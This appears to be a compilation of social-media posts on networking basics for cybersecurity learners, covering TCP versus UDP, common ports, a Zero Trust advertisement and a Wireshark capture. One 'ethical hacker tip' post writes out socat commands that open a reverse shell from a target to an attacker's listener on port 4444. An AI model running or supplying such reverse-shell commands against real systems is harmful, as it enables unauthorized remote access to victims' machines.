Why Networking is Key to Cybersecurity

Like everyone I was looking for the next shortcut or hack. But I realised I was learning how to use things, not how they work. 👇 So I decided to go back to basics. Instead of reading another post on “networking strategies,” I picked up Computer Networking: A Top-Down Approach. No flashy fast paced route to fixing network security or improving performance but rebuilding the foundation instead. A lot of complex stuff start to make sense. We often look for shortcuts to move faster. But sometimes, the fastest progress happens when you slow down and learn how things truly work. When was the last time you went back to basics?

Ethical hacker tip of the day: socat (SOcket CAT) this tool is pretty much stock almost Linux distros at this point and can be used for a multitude of applications. It's primary use is to forward traffic on port A on machine a to Port B on machine B and there are many options of achieving different states of the connections and how to handle inbound connections redirecting themset different outbound ports and many more complex implementations as well here is a great one Setup listener on current machine port TCP 4444.- then execute bash > # On attacker (listener): socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash # all one line # run on target (victim): socat TCP:<attacker_ip>:4444 EXEC:/bin/bash Establish a reverse shell over TCP. Once the target runs the second command, the attacker gets an interactive shell. Note Always use with encryption in real-world00 engagements (e.g., openssl: or SSH wrapper), or else traffic is plaintext. I will post a link on hackertips.today asap and more examples in the comments. Mark

💻✝️Day 9 of my Cybersecurity Journey: Learn TCP vs UDP, Ports & Services Yo, so today I found out how our data actually travels across the internet and it’s wild 🫴 Not all data moves the same way 👇 TCP — the “I double-check everything” delivery guy. Reliable, slowish, but your stuff always lands safe. UDP — the “YOLO” flyer thrower. Fast, risky, might miss, but gets there quick. Then Ports & Services -tiny digital doors with the programs that answer them. Without them, the internet would be chaos. Port 80- Web stuff (HTTP) Port 22 - Secure vibes only (SSH) Port 53 - Name game (DNS) Every service has its own port. It’s like your data has VIP access passes Now I get it — every message, pic, or website request knows exactly where to go. Internet magic, no cap If you had to choose — would you go for speed (UDP) or accuracy (TCP)?🤔 #CyberSecurityJourney #EthicalHacking #Cybernun #Cybersecurity #WomeninTech #TechJourney

Great Microsoft! Has created a different channel of patch (hotpatch) for reduce the restart of the computer and for more security as you can see in the following link:

⭕Commonly-used network ports This is a list of network ports commonly used by applications that provide network services, like file sharing or remote desktop viewing. You can change your system’s firewall to block or allow access to these applications. There are thousands of ports in use,.

VPN ≠ Zero Trust. Legacy VPNs can’t keep up with modern security demands—attackers exploit their weaknesses every day. The future is built on #ZeroTrust. Appgate’s VPN Replacement Resource Center delivers the insights, tools, and practical guidance you need to move forward with confidence. 🔗 Explore the toolkit today and start building a secure Zero Trust future: https://bit.ly/3JjRZWf

Common Ports and Protocols Every Tech Enthusiast Should Know 🌐 Networking 101: Ports & Protocols In networking and cybersecurity, understanding common ports and protocols is crucial. They define how devices communicate over networks and how services are accessed. 🔹 Some Key Protocols and Ports: ·        HTTP → Port 80 (Web traffic) ·        HTTPS → Port 443 (Secure web traffic) ·        FTP → Port 21 (File transfer) ·        SSH → Port 22 (Secure remote login) ·        Telnet → Port 23 (Remote login, insecure) ·        SMTP → Port 25 (Sending emails) ·        DNS → Port 53 (Domain name resolution) ·        RDP → Port 3389 (Remote desktop access) 🧠 Why it matters: ·        Knowing ports and protocols helps troubleshoot network issues. ·        Crucial for firewall configuration and network security. ·        Essential knowledge for ethical hacking and penetration testing. 🚀 I’m currently learning how these protocols interact in real-world networks and how to secure them from unauthorized access.

Ever wondered what actually happens when you type google.com and hit Enter? Most people see a web page load. But underneath that moment, the internet is breathing. Fascinating, right? I was running a quick capture in Wireshark from my Kali Linux terminal when it hit me, "this is what the internet looks like when it’s alive." This snapshot from Wireshark shows it in action. Each line here is a message between two machines: SYN – "Yo, bro! Are you there?” ACK – “Yeah, I’m solid 💯.” FIN – “Bet, we’re done talking.” What you’re seeing here is real-time traffic flowing through interface `eth0`, where each line represents a small digital conversation between two endpoints: a client and a server. The green highlights show TCP handshakes and acknowledgments - those are the “hello,” “got it,” and “goodbye” moments (SYN, ACK, FIN) that make network communication possible. The brown entries? They’re HTTP requests and responses, meaning your browser is literally asking for and receiving web content in real time. Down below lies the raw data; binary and hexadecimal bytes that tell the network’s story in its most native form. And BOOM💥!! In just a few milliseconds, hundreds of these tiny exchanges happen, connecting you to servers halfway across the world. 🌍 That’s where the real magic of cybersecurity and networking begins - seeing the invisible, understanding the flow, and realizing that every connection tells a story. If you’ve ever run a packet capture, you know how mesmerizing it is to watch, the moment you realize that every click, every search, every stream is really a dance of packets moving across the web. 💭 Have you ever opened Wireshark to see your own traffic in motion? What’s the most fascinating thing you’ve found?
